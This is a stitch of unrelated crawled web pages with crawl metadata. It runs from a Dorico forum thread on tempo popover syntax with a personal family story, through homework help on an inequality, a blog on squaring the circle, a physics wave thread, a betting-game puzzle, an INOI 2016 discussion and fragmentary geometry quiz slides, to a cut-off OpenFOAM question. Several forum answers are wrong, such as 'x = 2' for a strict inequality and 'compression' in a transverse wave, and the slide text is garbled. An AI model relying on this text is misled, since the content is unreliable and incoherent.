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https://forums.steinberg.net/t/metronome-marking-question-solved/103841 | 1,702,051,462,000,000,000 | text/html | crawl-data/CC-MAIN-2023-50/segments/1700679100762.64/warc/CC-MAIN-20231208144732-20231208174732-00889.warc.gz | 300,747,452 | 9,470 | Metronome marking question [SOLVED]
Hi guys,
I have a piece in 6/4 and need an “Andante”…where a dotted half note = 50, but
Dorico only provides “Andante” and a quarter note of 150!
HOW can I change the (QUARTER NOTE= 150) to (DOTTED HALVE NOTE = 50)?
Thanks guys
“Andante h.=150”
Thank you Josh Wood on Dorico’s FB Page:
In the tempo popover (shift+t) write “Andante 7.=50”
OK, I get it. For those with the same question, this is how it works:
Just like the “notes” in the LEFT PANEL are numbered, in the same way it is used in the “Tempo [metronome]” pop-over eg:
WHOLE NOTE = 120 (Shift+T and enter 8=120)
DOTTED HALF NOTE = 120 (Shift+T and enter 7.=120)… the “full-stop” after the 7 means “dotted” note.
HALF NOTE = 120 (Shift+T and enter 7=120)
DOTTED QUARTER NOTE = 120 (Shift+T and enter 6.=120)
QUARTER NOTE = 120 (Shift+T and enter 6=120)
DOTTED EIGTH NOTE = 120 (Shift+T and enter 5.=120)
EIGTH NOTE = 120 (Shift+T and enter 5=120)
and so on…
Goodness, these guys at Dorico are clever! Here is another way thanks to another guy’s response:
WHOLE NOTE = 120 (Shift+T and enter w=120)
DOTTED HALF NOTE = 120 (Shift+T and enter h.=120)… the “full-stop” after the 7 means “dotted” note.
HALF NOTE = 120 (Shift+T and enter h=120)
DOTTED QUARTER NOTE = 120 (Shift+T and enter q.=120)
QUARTER NOTE = 120 (Shift+T and enter q=120)
DOTTED EIGTH NOTE = 120 (Shift+T and enter e.=120)
EIGTH NOTE = 120 (Shift+T and enter e=120)
and so on…
Thanks, Josh!
Я ценю вашу помощь, мой друг!
Spasibo!
You can find this information in the Dorico help
Mikhail, do you have a doppelganger? I can swear I’ve seen your face before
Hi, my friend…I DID go to the Help file…but the one that ships with Dorico, but I could not find the correct topic. I typed “metronome markings”. But just now I type “tempo popover” and I find the right topic. I think the “Help File” index is not entirely dynamic.
But then, that is why we have clever friends who know this software to help an old man becoming a power user like I used to be in Finale and Sibelius.
DORICO ROCKS!!!
LUVIT!!!
Всего наилучшего!
HEY ULF!!! NO TIME NO SEE…I MEAN HEAR!!!
This is a bit personal question, but I guess ALL my friends here deserves at least some explanation, so let me give it to you very shortly…because the story is HUGE!
Yes, my father was part of Russian Cossack group that toured the Southern Africa region from the 1930s to 1970s. He and my mom did something wrong and I was the result, so my South African “father” and mom registered me as “Wynand Johannes Nel” IN Zambia…where my “father” built houses for their Coppermines. My “father” died in 1984 and my real mom Maria died in 2006. But, she DID tell me from around the age of 4 that my real father was a Russian man! Now get this…I heard (3 days ago from my aunt), that apparently this Russian man, my real dad, was angry because he made a deal with my “parents” that IF my birth certificate bears HIS names and if I get baptised in a Russian Orthodox Church (where my birth records would be noted), he would leave quietly back to Russia. As my aunt says, he was angry because my “dad” gave my South African (Boer) names. He tried to explain that due to Apartheid in SA, Russians are treated badly. In fact, most SA Russians changed their names to local names at that time. So, angry as my dad was, he wanted to take me and go to Russia, but my mom refused. Apparently, some persons shot at our house (according to my aunt and nice), and they FLED back to South Africa in 1967!
About two months ago, I wrote a letter to the Russian Executive Offices in Moscow, as President Putin want ALL Russians to return to Russia…even if they are still at school! So they wrote back and also sent me a picture of this Cossack Group with my dad’s face encircled. They advised me to approach the Russian Consulate in Cape Town if I want to claim my heritage back. The weird thing is, my mom gave me this EXACT B&W Picture years ago. She always used to call me “Korsakov” as I LOVED playing on the piano at four! My “dad” again called me “Mozart”!
Anyway, ULF, this is a very short version of my story…there has happened so much since the 60s…like my stay at an Orphanage and boarding schools my entire School-Life! My heart was NEVER here in South Africa, I am anyway a Zambian citizen…technically speaking.
So, after this letter from Moscow, I am claiming my REAL names back…Mikhail Vladimir Korsakov. Hans Nel is “Dead” or perhaps I shall use it as a “nom de plume”. I am learning the Russian language, so expect some Russian greetings as I learn. It is quite easy!
So ULF, my friend, you are very perceptive. Pray for me that I find my father. He must be 75 to 80 years old by now. I hope he did not die yet! Does ANYONE here know HOW I can trace my dad in Russia? It is uncanny how same we look! Check:
And…perhaps, should I leave this country that has only treated me badly…even my “half-family”, it might be much easier for me to visit Hamburg. I would LOVE to meet you and the rest of the team! So, ULF, when are you guys changing my status to “Senior Member” on this forum…or must we pay for that as well?
Все самое лучшее к вам и вы умные ребята из Steinberg!
Spasibo! (Thank you) and remember, I’m still the same guy! Love you ALL!!! PRAY FOR ME, PLEASE!!!
Mikhail
Wow.! That will be a film! x
You have NOOOOO idea!!!
I will compose the Film Score…in DORICO!
Hello Mikhail (but I have to say that I liked the name Hans as well, because it is also used here in Germany),
I was really surprised seeing your picture with that completely different name and wondered what was behind that.
Thank you for telling your story, truly stunning and moving. I do pray for you that you will find your father.
And should you ever come to Hamburg, definitely, look me up. Would love to meet you in person.
All the best
Ulf
Привет, ULF!
So good to hear from you! Thank you for your kind words. I must admit that after 50 years, it is quite a “shock” to one’s identity (even if you’ve always known), to suddenly be confronted by one’s real father who is searching for his son.
YES, I mean HE is the one searching for ME. I traced the email back (through Gmail tools) to the Ukraine. He must be living there now!
I have an appointment with the Russian Consulate next week. I truly hope I can restore my heritage as well. It is easy to change my names back, but I hope it will not be difficult to get the Russian Federation to restore my heritage. I NEED to belong again…and Russian Music and Chromatic Harmony runs in my blood!
Oh, in a way I also liked “Hans” because I take lessons from my great German mentor “Hans Zimmer”!
Thanks for praying…and I ask ALL believers to do the same for me. God bless you all!
ULF, may God bless you, your wife AND your two beautiful daughters! You look like the perfect family…I admire you!
Spasibo!
PS.
Да благословит Господь всех моих музыкальных братья и sistes в злом мире. Мы не развлекать ядерного оружия, но музыка…наш общий язык. Не имеет значения, где на этой планете мы живем! Любовь и уважение к вам!
Dear Mikhail,
All I can say is… love and peace to you and all the best of luck. Your story is amazing! I was going to say be strong, but in your case I will say stay strong! | 1,964 | 7,267 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.765625 | 3 | CC-MAIN-2023-50 | latest | en | 0.796438 |
https://www.jiskha.com/display.cgi?id=1356651543 | 1,511,121,525,000,000,000 | text/html | crawl-data/CC-MAIN-2017-47/segments/1510934805761.46/warc/CC-MAIN-20171119191646-20171119211646-00028.warc.gz | 816,110,465 | 4,632 | # math
posted by .
I think this question has a typo because none of the multiple choice answers fit.
The question is which of the following values is in the solution set of inequality 8-7x<-6?
A) -3 B)-2 C)2 D)-6
A if you plug in -3 you get
29<-6 no
B) 8+14<-6 no
c) 8-14<-6 so -6<-6 no
D) 8+42<-6 no
Did I do something wrong or are there no correct answers?
Thank you
• math -
8-7x<-6
-7x < -6 -8
-7x < -14
x = 2
• math -
x can be any number smaller than 2.
http://www.mathsisfun.com/algebra/inequality-solving.html
• math -
so is there one of the multiple choice questions that are correct, since three numbers in the multiple choice that are less than 2. As you see above
Thank you
• math -
Ahh -- but the other solutions are negative number. The answer for c, 2, is the only solution that is positive.
• math -
I went on the website you showed me. It said when you mult. or divide a neg, like -7x you change the sign, so shouldn't it be that x>2.
I am really confused
• math -
when you check your answer and put 2 in to do a check it comes out
8-7x<-6
8-7(2)
8-14<-6
-6<-6
this is not true unless it was greater than or equal to, that is why I believe there is no correct answer to the question. Isn't that right?
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https://tikalon.com/blog/blog.php?article=2011/squaring_circle | 1,632,386,172,000,000,000 | text/html | crawl-data/CC-MAIN-2021-39/segments/1631780057417.92/warc/CC-MAIN-20210923074537-20210923104537-00605.warc.gz | 604,780,803 | 7,321 | ### Squaring the Circle
July 15, 2011
When I was an elementary school student studying the "new math," I was inspired to try my hand at a classical geometry problem. This was the trisection of angles; that is, dividing an angle into three equal angles using only the tools of geometry, a straightedge and compass. Except for special cases, such as dividing a right angle into thirty-degree angles, it's not possible. In 1837, Pierre Wantzel showed that this problem reduces to the solution of a certain cubic equation that does not translate to a straightedge and compass rendition.
As all parents and teachers know, the one way to get a child to do something is to tell him not to do it. So, armed with a straightedge and compass, I spent many hours in my bedroom trying procedures on random acute angles. When one of these showed promise, I would repeat it on a random obtuse angle. Well, Wantzel was right, but I got a lot of practice with geometry tools. Trisection of angles is possible using other methods.[1]
Another unsolvable problem in geometry is squaring the circle. The problem is to construct a square having the same area as a given circle, again using only the tools of geometry, a straightedge and compass. You might think that it's somewhat easier to see why this task might be impossible, since the area of a circle involves pi, an irrational number. However, the hypotenuse of a right triangle with unit sides is the square-root of two, which is also irrational, so we can construct at least one irrational line segment.
The thing that makes squaring a circle impossible is not merely pi's irrationality. Pi is a transcendental number, which was proved in 1882 in the Lindemann–Weierstrass theorem. The transcendental nature of pi means that we can't construct a line segment that's the square-root of pi. This is required to generate a square of area equal to that of a unit circle. Squaring a circle would mean that we can find an algebraic representation of pi.
Unlike the angle trisection problem, finding the area of a circle has many applications, even when not followed by an actual construction of the equivalent square, so it's gotten much more attention. Of course, an approximate value of pi is needed to calculate the approximate area of a circle.
The Egyptians were very concerned with area, since the annual flooding of the Nile made surveying of land an important occupation (How could I not mention the Cappadocian hydrological engineers). The Rhind papyrus (1800 BC) gives the area of a circle as (64/81)d2, where d is the circle diameter. In this case, pi is approximated by 256/81, or about 3.16.
One common approximation for pi is (355/113), which is easily remembered by writing the first three odd numbers twice. This faction evaluates to 3.14159292..., which is quite close to the actual value of pi, 3.14159265... Srinivasa Ramanujan gave a geometrical construction of this fraction in 1913 and he was able to square the circle to about 0.00001%, or ten parts per million.[2] As Ramanujan wrote,
"If the area of the circle be 140,000 square miles, then [the length of a side of the square] is greater than the true length by about an inch."
This, as my building contractor father would say when surveying for the foundation of a new house, is "close enough for digging." There are more extreme examples that bring this to a better than ppm level.
Hippocrates (of Chios) thought he was close to squaring the circle when he examined the properties of his lune, which is shown in the figure. He showed that the area between the arcs "E" and "F" in the figure was the same as the area of triangle ABO.
Lune of Hippocrates.
Drawing by Michael Hardy, via Wikimedia Commons)
In a paper posted recently on the arXiv preprint server, Henryk Fukś of the Fields Institute and the University of Guelph, presents the Latin original and a side-by-side English translation of a 1685 paper by the Jesuit, Adam Adamandy Kochański.
Kochański, who was court mathematician and librarian for the King of Poland, presents some rational approximations for pi, and a geometrical construction for a line segment approximately equal to π2.[3] As Kochański confesses in his paper,
"For my part, I do not deny that I too was once affected by the same weakness, and, to omit other things, I put not a small effort into squaring of a circle and in examination of works of others attempting it."[4]
Would that modern scientific papers, or at least blogs, were written in the same style!
"I must confess that it was not just for a short period that my brain troubled over such a thing as Kochański's construction. Then, Lo! The darkness was lifted from my eyes, and I saw clearly the logic that flowed from his able pen."[5]
Kochański gives a construction, shown in the figure, that generates an approximation of π2. In this figure, the angles, ∠IAC and ∠KAC, on a unit circle are sixty degrees, and the line segment HL = BD. Knowing this allows the conclusion that IL2 = IK2 + KL2 = 9.869231718195572759955..., the square root of which is 3.141533339...
Kochański geometrical construction to approximate pi. The angles ∠IAC and ∠KAC are 60°, HL=BD, and IL is close to π2 for a unit circle.
(Via arXiv Preprint Server)[3])
### References:
1. Trisection of Angles page on Wikipedia.
2. Srinivasa Ramanujan, "Squaring the circle," Journal of the Indian Mathematical Society, 1913, p. 132.
3. Henryk Fukś, "Observationes Cyclometricae by Adam Adamandy Kochański - Latin text with annotated English translation," arXiv Preprint Server, June 9, 2011.
4. Haud equidem diffiteor, me quoque olim eodem morbo laborasse, et ut alia praeteream, Circulo quidem quadrando, vel examinandis aliorum in eo conatibus, operae non nihil collocasse.
5. Fateor non modo paulisper mea turbaris cerebro quid tale quod Kochańskii elit. Ecce! Tenebrae lumina pectore cessit, et vidi clare quod logica perito stylo fluebant.
Linked Keywords: Elementary school; new math; geometry; trisection of angles; straightedge; compass; Pierre Wantzel; cubic equation; squaring the circle; square; circle; irrational number; hypotenuse; right triangle; square-root of two; transcendental number; Lindemann–Weierstrass theorem; Egyptians; annual flooding of the Nile; surveying; Cappadocian hydrological engineers; Rhind papyrus; Srinivasa Ramanujan; building contractor; ppm; Hippocrates of Chios; lune; Wikimedia Commons; arXiv preprint server; Fields Institute; University of Guelph; Latin; Jesuit; Adam Adamandy Kochański; mathematician; librarian; King of Poland; rational number; blog.
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AS Physics - Motion of a point on a wave help!
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1. Okay so heres the question
click on it and it should enlarge
How do I do this with an explanation please!
Also what if the question was a different and it wasn't a stationary wave... just your standard transverse wave and the point X was at say a different point how would I know what direction it would move?
Okay so heres the question
click on it and it should enlarge
How do I do this with an explanation please!
Also what if the question was a different and it wasn't a stationary wave... just your standard transverse wave and the point X was at say a different point how would I know what direction it would move?
Well I think the question is not so much about which direction it moves in, but how it moves. You know that X has amplitude and amplitude is directly proportional to intensity; as a result, it will vibrate with its equilibrium being the centre around which it vibrates.
Okay so heres the question
click on it and it should enlarge
How do I do this with an explanation please!
Also what if the question was a different and it wasn't a stationary wave... just your standard transverse wave and the point X was at say a different point how would I know what direction it would move?
It's a standing wave. So it is only going to move up and down.
If it was a travelling wave then the point would move along the line described by
4. If it were a transverse wave, as the wave moved say to the right, and the region of compression moved to the right, the point would move to the left.
Okay so heres the question
click on it and it should enlarge
How do I do this with an explanation please!
Also what if the question was a different and it wasn't a stationary wave... just your standard transverse wave and the point X was at say a different point how would I know what direction it would move?
good revision website for physics saved me a couple of times www.technocratnotes.com
6. There is no "horizontal" displacement in a stationary wave, so point X or any other point on the wave would just move up and down.
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Is it worth going? Find out here | 663 | 2,881 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.8125 | 3 | CC-MAIN-2016-44 | latest | en | 0.974637 |
https://puzzling.stackexchange.com/questions/110759/how-should-you-bet | 1,720,977,249,000,000,000 | text/html | crawl-data/CC-MAIN-2024-30/segments/1720763514635.58/warc/CC-MAIN-20240714155001-20240714185001-00716.warc.gz | 430,634,289 | 41,027 | # How should you bet?
Alice and Bob are playing a betting game. Each has 20 chips to start with. They move alternatively starting with Alice. In their moves, they name a number $$n$$ and toss a fair coin: if head, they get $$n$$ more chips from the casino; if tail, they give $$n$$ chips to the opponent, where $$1\leq n \leq$$ total # of chips owned by the current player. A player wins if they reach 100 chips first, or if the opponent loses all their chips.
Question: How should Alice and Bob bet? Who has a higher winning probability?
• Interesting question. It seems in the beginning one should bet as little as possible, since the other person's turn is basically a risk-free gamble for you. Every bet size has an expected value of 0 for the bettor, but a value of n/2 for the opponent, so smaller bets help your opponent less. That said, things will get more complicated as the game proceeds - if the tally is 99 to 50, Bob may be justified in placing a win-or-bust best of 50 chips, since by betting 1 chip at a time, he's very unlikely to catch up before Alice wins . Commented Jul 2, 2021 at 15:11
• i think Bob is better off going for n=1 in each bet. For Alice, she has no choice but to take the gamble of going for the max n she can, for first turn she should go for n=20 Commented Jul 3, 2021 at 10:23
Nuclear Hoagie's remark is a good start.
I evaluated the best strategy with a computer and here is what came out:
The images show the best bet for Alice for each chip count. Alice's chip count is on the x-axis, Bob's chip count is on the y-axis, from 0 to 99. The origin is at the bottom left. The color indicates the best bet: red=1, yellow=25, green=50, cyan=75, blue=99.
Sometimes multiple bets are equivalent. The first images shows the smallest bet that is optimal. The second image shows the largest bet that is optimal.
As Nuclear Hoagie saw, as soon as Alice has 50 chips and is behind Bob, she should bet it all for a 50% chance of winning. That is the blue part on the 2nd picture. Note that it is enough to bet just enough chips to reach 100.
If Alice and Bob have 50 chips but Alice is leading, she knows Bob will bet it all on the next move. So she should try to take a chance at winning the game first by aiming for 100.
In short, if both player have >= 50 chips, an optimal strategy for Alice is to bet just enough to reach 100.
On the picture you see that in the lower left the optimal bet is 1. This is because on average a bet wins nothing for the player but half the bet for the opponent. It is better to minimize it.
OK, near the right and top borders it becomes messy. I won't bother explaining what happens there. I don't know in fact.
But considering that players start by betting 1 on each move, they will inch forward pretty much along the diagonal and have little chance to reach the messy parts.
So a good approximation for the optimal strategy is:
- If one player has <50 chips then bet 1.
- else bet just enough to reach 100.
There is a small exception for the case where Alice has >50 and Bob has 49. If Alice plays 1, Bob might reach 50 and might go for all-or-nothing. That is why in this case it might be better to play everything. It seems to be the case only if Alice has 60 chips or more. Below 60 it seems that it is interesting to bet just enough so that when Alice looses, her chip count goes below 50 and Bob won't play it all.
And here is the winning probability map for Alice. Red is a 0% win, green is 50%, blue is a 100% win.
• First 2 images, how can Alice bet 50 at the green spikes at the top? Alice doesn't have 50 chips at the tip of the spikes.
– Eric
Commented Jul 3, 2021 at 12:27
• The program I wrote? For every position it checks all legal moves for Alice, computes the probability to win and chooses the best one for Alice. The probability to win averages the probability for Bob to loose for the 2 outcomes. The probability for Bob to win when it is his turn is the same as for Alice. The formula is circular so it involves Markov chains. Commented Jul 4, 2021 at 14:04
• Can you post the script? I really want to take a look.
– Eric
Commented Jul 4, 2021 at 16:19
• Here is is, valid 24 h. codeshare.io/bvvRKV Commented Jul 4, 2021 at 18:24
• As I said the calculations are circular. I did not resolve it the proper way by inverting a matrix. I just repeat the calculations (nbRounds times) until it converges. (btw pas = Probability for Alice, s for plural). Commented Jul 5, 2021 at 11:22 | 1,147 | 4,480 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 4, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.8125 | 4 | CC-MAIN-2024-30 | latest | en | 0.959613 |
https://discuss.codechef.com/t/inoi-2016-discussion/12085 | 1,600,441,275,000,000,000 | text/html | crawl-data/CC-MAIN-2020-40/segments/1600400187899.11/warc/CC-MAIN-20200918124116-20200918154116-00615.warc.gz | 365,360,795 | 8,444 | INOI 2016 Discussion
Problem 1 - Wealth Disparity
My code was accepted on all 8 test cases of subtask 1 and 2. First create a tree structure and then find the minimum value of each branch. After this recursively subtract the maximum of a branch from the minimum of the branch to find the largest disparity.
Problem 2 - Brackets
This one was very hard. I bruteforced for the solution. Got all test cases in subtask 1 correct but timed out on subtask 2.
Expecting 140 or 150(I don’t remember how much you get for subtask 1 of Brackets)
How did you do? Honestly I found the questions(Brackets in particular) to be much harder than previous years questions.
EDIT: Confirmed score of 140
1 Like
mismanagement at my center caused problems I got a proper pc 2 mins before the end of the exam
It went bad for me. The first one seemed really easy but I could not find out where I was going wrong… Got only 6/8. I didn’t even bother trying the second one cause I knew it was way out of my league. They shouldn’t conduct it this way next year onward… The test cases don’t tell us where we are going wrong, whether TLE or logic error etc. I performed quite badly, no chance this year
Brackets Solution
Dp(l , r) max sub-sequence sum of balanced parenthesis where each index from [l , r]
Dp(l , r) = 0 where r <= l
otherwise
Dp(l , r) = max(dp(l + 1 , i - 1) + arr[l] + arr[i] + dp(i + 1 , r)) where b[i] = b[l] + k
also
dp(l , r) = max(dp(l , r) , dp(l + 1 , r))
4 Likes
I had a lot of technical difficulties :
1.) A code which is compiling and running smoothly in dev c++ flagged an submission error when submitted through the server.
2.) A code which compiled and gave the correct answer in dev c++ showed ‘Fail’ in that corresponding test case (1st test case - Wealth Disparity). One of the attenders has taken 2 photographs showing the difference.
3.) I had to change my computer 3 times to get a satisfactorily fast computer which compiled and ran at normal pace.
I got 100 in the pretests.
Wealth Disparity was pretty straightforward.
The main thing in this problem is that the difference between the weight of an ancestor of a node and the weight of the node must be maximum. This can be solved using DFS by maintaining another variable in the stack which represents the maximum ancestor weight encountered so far in the branch. The answer will be the maximum difference of this value and the weight of the node. This can be done by doing DFS once.
I used a vector of vector of ints to represent the tree as an adjacency list. Then DFS was done and I maintained a variable, difference which is simply the maximum value of the difference of the weight of the node and the maximum weight encountered of the parent node. This value was updated every time during a node visit and the maximum weight encountered in a branch was also updated.
Overall, DFS takes O(V+E) using Adjacency list and since E = V - 1 in a tree, Time complexity is O(2V-1) = O(V) = O(n).
Space Complexity in the adjacency list is also O(V+E) = O(V) = O(n)
For brackets, I tried brute force but got only 3/5 test cases correct in the first subtask. Does anyone have any idea how to get a non brute force solution to Brackets?
Is the cut off going to be 100 as well this time? This is my first time and I was hoping to qualify. Now though, I’m not so sure.
1 Like
200 in pretests; not sure about what’s going to happen in the end
About the first problem, is it allowed to let i, j be the same? I didn’t consider that case and got AC but I’m not really sure if it’s going to pass the final tests.
Also is a O(n^3) solution supposed to pass in the second problem? I did the same dp as rajat1603, which takes around 700^3/2 ~ 2e8 operations. Is this fast enough? (It passed the pretests.)
Also ambiguity in the second problem: what will be the answer if all v[i]'s are negative? Is it some negative number or zero (the empty bracket sequence)? I assumed the second one and got AC, but then again idk if it’s going to pass the final tests.
Does the cutoff vary from Class to Class or is it the same for everyone?
I’m in Class 9, so is the cutoff going to be less for me than say a student of class 12?
can anyone post the sample inputs for both the questions
@siddharth2000
IIRC the sample input for the first one was-
4 5 10 6 12 2 -1 4 2
1 Like
thanks a lot but do you remember the 2nd question’s sample input as well
I guess the solution to the first problem goes as follows :
For every employee, since he has only one manager, the maximum difference you get with that employee and the previous nodes of the tree is the maximum wealth of one of the managers of the branch and himself. The solution is to maximize this list…
I know, a bad way of representing the solution… But i guess this is it…
And as i said, because of system problems, i was not able to implement this…
There were technical difficulties at my centre.
Only C compiler was available and i use to program in C++. I could have done Question-1 but i was unable to debug because of lack of compiler and the teachers their were also unable to do anything.
Problem 1
For all employee, traverse up the tree and keep checking if the (higher persons wealth - this person’s wealth) > max
Problem 2
The same recursion (cached) as rajat1603
I passed the pretests. Hoping that this will clear the real check.
Also, I do not understand the claimed DFS solution.
Does anyone know when the results should be expected?
It went Bad! (With a capital B) I mean - I solved the first question - got the logic right - but failed on its implementation. As for the second one - I gave it a try, but just wasn’t able to solve it.
Seems that I’ll have to wait till the next year.
PS: Created a poll here - http://goo.gl/J883Ke
Please vote, so that we can find the expected cutoff & upvote this so that everyone can vote too!
2 Likes
This Google spreadsheet is publicly editable. This way, we can get an estimate on the cutoff. Add the codechef username and marks of the person you are sure of. Also check to make sure no duplicates.
Thanks.
3 Likes
Though couldn’t implement it but we could have used stacks for finding the largest possible bracket sequence (push opening brackets and when pushing closing brackets compare it with the most recent open bracket, if matched pop both of them) I think it is O(n) and then kadane’s algo for O(n) which i think makes this problem very easy.
Can anyone confirm if it is correct.
Here’s what I did for WLTHDISP: create pair of salary and boss#. Sort by boss# so that one whose boss is higher up in tree comes first in array.
This way Mr.Hojo is the first one. (1-indexed) after that dp[n] = 0. i=n-1; i>0; i–.
Now while the j=I+1 th term has same boss (I.e. it is at the same height in the tree, j++ and find the max of dp[j]+salary[i]-salary[j] for each iteration.
Earlier I was using Floyd Warshal but realized O(n³) is too much for this data. And by the time I submitted this Sol, timer ran out so could only submit for s.t.1.
please someone post solution for wealth disparity on ideone or pastebin…I got ac on 1st problem and screwed up second problem…and my computer during exam hanged so many times …
I mailed at ico@iarcs.org.in asking when the results would be announced.
“We have just received the exam data from TCS. We have to re-evaluate
all the submissions and check. A realistic estimate is Monday.”
Monday it is then. | 1,820 | 7,445 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.34375 | 3 | CC-MAIN-2020-40 | latest | en | 0.919613 |
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VIEWS: 9 PAGES: 77
• pg 1
``` SOL Jeopardy
200 200 200 200 200
400 400 400 400 400
600 600 600 600 600
800 800 800 800 800
1000 1000 1000 1000 1000
Classify the triangle by its sides.
A. Equilateral
B. Isosceles
C. Scalene
D. Obtuse
It is a scalene Triangle because all sides are of
different lengths.
5
4
3
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Classify this triangle by its sides and its angles.
A. Equilateral, acute
B. Equilateral, right
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D. Scalene, obtuse
The Triangle is an equilateral and acute triangle.
What are its angles?
5 5
5
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Classify this triangle by its sides but
50
A. scalene
65 65
B. isosceles
C. triangle
D. equilateral
Isosceles is the correct answer because 2 angles
are equal then 2 sides have to be equal.
50
7 7
65 65
5
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What is the measure of <ABC?
A. 45
B
B. 55
C. 25
35
A C D. 90
Angles in a triangle must add up to
180. The correct answer is 55 since
90 + 55 + 35=180
B
55
90 35
A C
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Mark drew a fish using two right triangles for its tail.
Which could be the fish Mark drew?
A.
B.
C.
D.
This fish has 2 right angles! A
right angle equals how many
degrees?
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Classify this figure.
A. parallelogram
B. rectangle
C. hexagon
D. trapezoid
This pologon is a rhombus and
a parallelogram because it has 2
sets of parallel sides. What does
the word parallel mean?
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RIGHT!
When you’re RIGHT,
you’re RIGHT!
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What is this shape?
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B. Octagon
C. Decagon
D. hexagon
It is an octagon because it has 8 sides. How
many sides does a hexagon have?
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That is record
what it is
sheer \$400
genius!
What is <ABC?
B A. 90
B. 55
C. 65
15
A C D. 75
<ABC is 75 degrees because 15 + 75 + 90= 180.
B
15
A C
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How many pairs of parallel lines are
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A. 2
B. 1
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There is only 1 pair of parallel lines
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called a _________.
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Use the angles to help you decide how to classify this triangle by
its sides.
A. Isosceles
100
B. Scalene
C. Equilateral
40
D. Obtuse
5
This has to be an isosceles triangle because 2 of the angles were
equal so 2 of the sides must be equal.
100
3 3
40 40
5
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What is the angle called?
A Obtuse
B Acute
C Right
D Straight
This is an obtuse angle because it is more than 90
degrees.
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Which 2 pipes are parallel?
A. Pipe B & C
Pipe B
Pipe D B. Pipe B & D
C. Pipe A & C
D. Pipe A & D
Pipe A & C are parallel like sideways
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What could be the
measures of the A. 110, 50, 20
angles of a right
B. 80, 50, 50
triangle?
C. 44, 96, 40
D. 54, 36, 90
The correct angles are 36, 90, and
54. 90 makes the triangle a right
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Mary connected points M and N to make one side of an
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angle.
V
M N
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Which of the following includes ray
AB and ray AC?
A B
A C B A C B
B
C D
A B C A
C
The angle shows 2 rays: AB and AC. A ray
has an endpoint on 1 end and goes forever
on the other end.
B
A C
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What best describes this
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A. line
B. line segment
C D
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D. angle
This is a line segment because it has
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A. EA & BF
B. CG & EA
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parallel or perpendicular?
A. 1st & Thurmond
B. 2nd & 3rd
C. Slanted & Thurmond
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Slanted & Thurmond are neither parallel or
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What is the angle <ABC
measure?
C
A. 145
? 45 B. 180
A B
C. 45
D. 135
<ABC measures 135 because 135 + 45=180. A
straight line is equal to 180. A circle is equal to
what?
C
? 45
A B
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Line segment AB that passes
through the center O is called a
_________.
A. diameter
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Line segment AB that passes through
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What is the 11th shape
using this pattern? A.
B.
C.
D
Is the 11th figure.
1 2 3 4 5 6 7 8 9 10 11
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How many lines of
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A. 2
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D. 6
There are 4 lines of symmetry.
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Find the perimeter and area of this shape.
List perimeter first and then area.
6 A. P:8 A: 12
2 B. P:12 A:16
C. P:16, A:12
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The perimeter is 16 because you go around the shape
adding. The area is 12 because you multiply one side times
another.
6
2
2
6
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\$1000 | 2,119 | 6,541 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.65625 | 4 | CC-MAIN-2015-27 | longest | en | 0.807826 |
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The expression 3x² represents 3(x)(x)
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Edited by jeifunk [1/21/2018 7:48:24 PM], Confirmed by jeifunk [1/21/2018 7:48:25 PM]
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October 3, 2011, 02:25 Question on the discretization of momentum equation in icoFoam #1 New Member Oliver Pasqual Join Date: May 2011 Posts: 13 Rep Power: 14 Dear foamers, I have a puzzle in the discretization of momentum equation in icoFoam. As we know, the momentum equation was integrated over the control volume, and then discretized into linear equation. When I dig into the code detail term by term of the UEqn, I found that the left hand part of the equation(fvm::ddt(U) + fvm::div(phi,U) - fvm::laplacian(nu,U)) was integrated and then the coefficient of unknow variables were added into the matrix A. None of the terms is divided by the control volume..... code detail of fvm::ddt using Euler scheme: Code: ```template tmp > EulerDdtScheme::fvmDdt ( const GeometricField& vf ) { tmp > tfvm ( new fvMatrix ( vf, vf.dimensions()*dimVol/dimTime ) ); fvMatrix& fvm = tfvm(); scalar rDeltaT = 1.0/mesh().time().deltaTValue(); fvm.diag() = rDeltaT*mesh().V(); if (mesh().moving()) { fvm.source() = rDeltaT*vf.oldTime().internalField()*mesh().V0(); } else { fvm.source() = rDeltaT*vf.oldTime().internalField()*mesh().V(); } return tfvm; }``` To the right hand part of the momentum equation, first we integrate the term(fvc::div(p)) over the entire CV. then it was discretized using the Gauss law. But the result was divided 